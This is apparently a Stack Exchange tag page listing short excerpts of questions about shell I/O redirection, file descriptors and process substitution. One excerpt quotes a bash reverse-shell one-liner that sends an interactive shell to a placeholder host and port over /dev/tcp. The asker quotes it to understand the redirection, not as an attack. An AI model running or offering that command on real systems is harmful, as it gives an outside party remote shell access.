io redirection is the process of changing where the output and input of a program originate

learn more… | top users | synonyms (1)

3
votes
1answer
40 views

How do I turn off redirection once I've turned it on? [duplicate]

I found a great solution at Redirect all subsequent commands' stderr using exec. I used the example: exec > >(tee $somelog) 2>&1 ...and managed to get everything to tee great. ...
1
vote
3answers
159 views

How to exclude the output file from ls output

Let's say I have these files on desktop: aaa.jpg bbb.jpg I want to list these two jpg's and output them to a .txt file: #!/bin/bash cd ~/Desktop ls -1 > all.txt With this code the ...
2
votes
2answers
24 views

exclude target redirection file from being processed in for loop

This will cause LIST to grow very large (even a couple of GB in a short time etc): $ for i in *; do echo $i; cut -d ' ' -f1 $i ; done > LIST For example, after 10 seconds: $ wc -l LIST ...
1
vote
3answers
62 views

Can I redirect the output of a program to cat with a pipe?

I have a folder with three files and basic contents: $ tail * ==> file1 <== file 1 contents ==> file2 <== file 2 contents ==> file3 <== file 3 contents I would like to see the ...
0
votes
1answer
24 views

TCSH: I want to display command output and redirect to a file

I looked at the TSCH man page, which said "Either output-file or error-file may be '/dev/tty' to send output to the terminal." So if I can redirect to two different locations, that would work. But ...
3
votes
2answers
59 views

How to write a “compose” function of bash pipelines with named pipes

This page details psuedocode for creating a compose function that takes n commands and executes them in a pipeline: We program a command compose such that compose cmd1 cmd2 ... cmdn behaves ...
16
votes
5answers
776 views

Write output of `time` in a file, why are parentheses needed?

time writes to stderr, so one would assume that adding 2>&1 to the command line should route its output to stdout. But this does not work: test@debian:~$ cat file one two three four ...
7
votes
2answers
238 views

Redirecting standard error output to bash variable

Here's a C code snippet that will cause segfault: // segfault.c #include <string.h> int main() { memset((char *)0x0, 1, 100); return 1; } Compile it with: gcc segfault.c -o ...
3
votes
1answer
47 views

Opening more than 10 file descriptors with ksh

The shell syntax for opening a file for writing and using its file descriptor is: exec 3>output.log With bash and zsh you also can write: exec 13>output.log Thus, later in your script you ...
0
votes
2answers
51 views

How can I copy the output of a command in the terminal to my clipboard? [duplicate]

I have a script that operates on enormous files and outputs an enormous amount of content (almost 7000 lines). I need to copy the output of this to my clipboard so I can then paste it into paste2.org ...
5
votes
2answers
60 views

Understanding i/o redirection in the context of _process substitution_

Running GNU bash, version 4.3.11(1)-release (x86_64-pc-linux-gnu). I don't really understand process substitution (ProcSub) from the perspective of a user interested in lifting the hood on i/o ...
0
votes
1answer
48 views

Some errors are not logged, after redirecting both stderr and stdout to a file

In a Linux server, I run a program and log its stdout and stderr outputs to a file by: myprogram.py > logfile 2>&1 All the outputs to stdout and stderr are logged, except that some errors ...
1
vote
2answers
89 views

Understanding redirected if-statement in bash

if [ -z "$OPTION" ] # if option is not given(empty) then: then command1 --defaultOption else command1 $OPTION fi \ 2> >( function1 "$DETAILS" ) \ < <( command2 ...
0
votes
2answers
85 views

echo $variable > file in a loop outputs only the last value of variable

Here's what I'm trying to do: I have several git repos. I want to setup a push-to-deploy script for each of them. being so lazy to do that for each and every repo, I wanted to script it. My script ...
0
votes
1answer
17 views

GDB - Call second program

I have a program which I want to debug gdb. And I want to call a second program to redirect the output to the first program. How this is done in gdb. I tried it like that: run -2 < $(python ...
2
votes
1answer
93 views

is linux redirect “>>” slower with bigger files?

I have a shell script which makes some analysis and prepares (i.e.: writes) some commands to run in a separated file. So I have something like that: echo my_command_to_run >> ...
1
vote
1answer
52 views

Bash : ambiguous redirect

I am trying to collect dump of java process with jstack and I have tried below command. But its saying ambiguous redirect as I cant redirect to a command. jstack -l `pgrep java` > ...
1
vote
1answer
40 views

Find files and send to a temp file

Vim does support a nice option to accept a file with list of files that are then opened in a Quickfix list. Rough example, I find all files in ~ that are smaller than 1KB and pass this to Vim: find ~ ...
32
votes
7answers
3k views

Is it a UUOC (useless use of cat) to redirect one file to another?

If I want to make the contents of file2 match the contents of file1, I could obviously just run cp file1 file2. However, if I want to preserve everything about file2 except the contents—owner, ...
0
votes
1answer
76 views

Run git command to save output but consume STDERR too

I've tried: status=$(git status -s ./$name>&1) status=$(git status -s ./$name >2 /dev/null >&1) status=$(git status -s ./$name >2 /dev/null) status=$(git status -s ./$name > ...
0
votes
1answer
25 views

How to redirect output of cowsay to be the input of zwrite

I run cowsay, which asks me to input text string. Then, it prints the result to stdout. I want to redirect that result to zwrite instead of stdout. The issue is that I can't do cowsay | zwrite ...
3
votes
2answers
60 views

Do redirections operate on file descriptors or file handles?

From https://www.gnu.org/s/bash/manual/html_node/Redirections.html Before a command is executed, its input and output may be redirected using a special notation interpreted by the shell. ...
3
votes
1answer
67 views

Duplication of file descriptors in redirection

From https://www.gnu.org/software/bash/manual/html_node/Redirections.html Bash handles several filenames specially when they are used in redirections, as described in the following table: ...
0
votes
1answer
52 views

Starting job via SSH and detaching from a composite command

I'd like to start a long running script via SSH and immediately return. Afterwards, I want to check the remote host every 5 minutes to see if the job is done. In order to accomplish the first part, I ...
1
vote
1answer
74 views

How to read from stdin in process substitution? [duplicate]

I would like to send stdout to multiple commands, however I'm not sure how do I read from standard input within process substitution? My attempts: $ echo foo >(cat /dev/stdin) >(cat ...
0
votes
1answer
41 views

Why cron not outputting to file? [duplicate]

I scheduled a cron task: 0 */10 * * * aapa bash /home/aapa/scripts/es_backup.sh &>> /var/log/super/es_backup.log It is running as logged into syslog: Dec 4 08:17:01 dexter CRON[15552]: ...
0
votes
3answers
174 views

What do the `echo $?` and `ls >> $File 2>&1` commands do?

Can someone help me with understanding this. echo $? -- I know it outputs a variable of some kind... and this ls >> $File 2>&1 ---- can someone explain what this does?
3
votes
1answer
77 views

Need Explanation For Multiple Arguments And Input Redirection With Cat

Files along with their contents:- ~$cat a aaa aaa aaa ~$cat b bbb bbb bbb ~$cat c ccc ccc ccc Commands that I need explanation:- ~$cat 0< a aaa aaa aaa ~$cat 0< a b bbb bbb bbb ~$cat 0< a ...
2
votes
1answer
60 views

Process substitution and cat: can't read stdin

The process substitution <(cat) doesn't work. Why? head <(cat) cat: -: Input/output error I can use an extra file descriptor, but I don't understand why the above doesn't work. # Using file ...
0
votes
1answer
77 views

Cron to find exec cp and redirect output with time / date per line?

I try to setup a cron task to run a set of basic shell commands. I need to look to any files created on the last day, then copy to another folder and generate a log stating, line by line, the date ...
0
votes
1answer
156 views

How to resolve this “ambiguous redirect”

I have a script with a function in it: function install_log() { echo "$1" >> $INSTALL_LOG_OUTPUT 2>&1 } This function is working as it should. It is a function to write something ...
0
votes
0answers
28 views

Redirecting output of a pipe to a file [duplicate]

I'm executing the following command blkcat /dev/sdg3 0 724566015 | grep -n 'USE `.*`;' that produces output on screen. If I type that command: blkcat /dev/sdg3 0 724566015 | grep -n 'USE `.*`;' ...
0
votes
0answers
32 views

run command line contains redirection >> inside Guest VM

Another alternative of running ls -l /home for example in Guest VM called myvm ,is to run on the host the following command : vboxmanage --nologo guestcontrol myvm --username root --password xxxx ...
2
votes
2answers
83 views

For input redirection, are there functional differences between bash/zsh <<<“$(<file)” and the traditional <file?

I'm asking only about the usage which would have the similar effect as traditional input redirection from a file. <<<"$(<file)" as far as I can tell is equivalent to <file It ...
5
votes
2answers
102 views

Why process does not (seem to) exist before fifo read

I have a trivial Python script: #!/usr/bin/python import os, sys sys.stderr.write('I am %s' % os.getpid()) sys.stderr.flush() print "hello" sys.stderr.write('I am done') When I run this script ...
0
votes
2answers
153 views

how to redirect output of ssh to a file

I want to make ssh connection to my server but I don't want to enter password. I want to save output to a file like so: $ ssh root@x.x.x.x -p 22 1>output 2>&1 but when I run it the output ...
10
votes
2answers
662 views

How to redirect the output of a command to an already existing file without deleting its contents? [duplicate]

I am making a backup of some files and am creating a checksum file, checksums.txt, to later check the integrity of my data. However pasting each checksum manually into the file is inconvenient since ...
3
votes
2answers
58 views

can not access standard output from a command

I'm using this command format: cmd0 > >(cmd1) 2> >(cmd2) Cmd2 needs to echo data back to zenity as it processes some data, but zenity never hears the echos. It seems the echos are lost ...
4
votes
3answers
68 views

redirecting script variable to log file without losing stderr

When setting "set -x" inside bash script, or if you run your script with bash -x, you will get all the arguments printed to the screen together with the stdout. Is it possible to have stderr and ...
0
votes
1answer
86 views

Redirect all output with prompt to a file

What is the shortest way to redirect: $PROMPT, last executed command, stdout and stderr into single file? Of course, we might use &> to redirect stdout and stderr into single file and then add ...
11
votes
4answers
379 views

Program output redirection

When trying to redirect program output with the "some number greater than" syntax (eg foo 2> myfile), what are the possible numbers here and what do they represent? I believe 1 is /dev/stdout, 2 ...
8
votes
3answers
461 views

Command redirection to multiple files: command >file1 >file2 [duplicate]

I have this command: cat somefile >file1 >file2 After I executed this command I can't figure out why file1 has nothing in it. It should have the output of the first file (somefile), but ...
4
votes
2answers
138 views

Bash : understanding I/O redirection

I was searching a way to get a reverse shell in bash, when I found this: bash -i > /dev/tcp/HOST/PORT 0<&1 2>&1 As I understand, stdout and stderr are sent through the ...
0
votes
1answer
72 views

Redirect command output to /dev/null

How can we redirect output of command to /dev/null? I tried it with: command > /dev/null But it didn't work.
2
votes
1answer
181 views

How to output files to another directory (Poppler - pdftotext)

I have a directory with a very large number of PDFs that I am converting to *.txt documents with Poppler pdftotext. I have the following command that does the conversion of all the files. for f in ...
0
votes
0answers
99 views

Stop stdout log being clipped (by heroku-local)

I run heroku local with the Procfile: web: start-nginx gunicorn -c gunicorn.conf.py app:app start-nginx does some environment setup, and then ends with: { nginx --some-params & $@ ; } the ...
0
votes
1answer
59 views

Why is the redirection of loop output dependent on the filename?

I have two files: a.csv and b.csv: echo $'a_header\na1' > a.csv echo $'b_header\nb1' > b.csv Now I want to remove the first line from each, and concatenate them. for file in `ls *.csv`; do ...
3
votes
1answer
74 views

Dash exec redirection error

This: set -x rm -f p; mkfifo p exec 99<>p succeeds in bash but fails ("99 not found") in dash. How do I get it to work in dash?
2
votes
2answers
50 views

Shellcheck complains that I should not to read and write the same file in the same pipeline

ShellCheck show the following error for this line of code: printf '%d' $(($(< "$1") + 1)) > "$1" Make sure not to read and write the same file in the same pipeline Is this really a problem? ...
0
votes
1answer
44 views

Is it ever possible for command redirection to HDD to fail?

I'm using Xubuntu 15.04, and sometimes have this really strange problem, originating from a XeLaTeX run. When using this typesetting system, the following system command is executed: uname -s > ...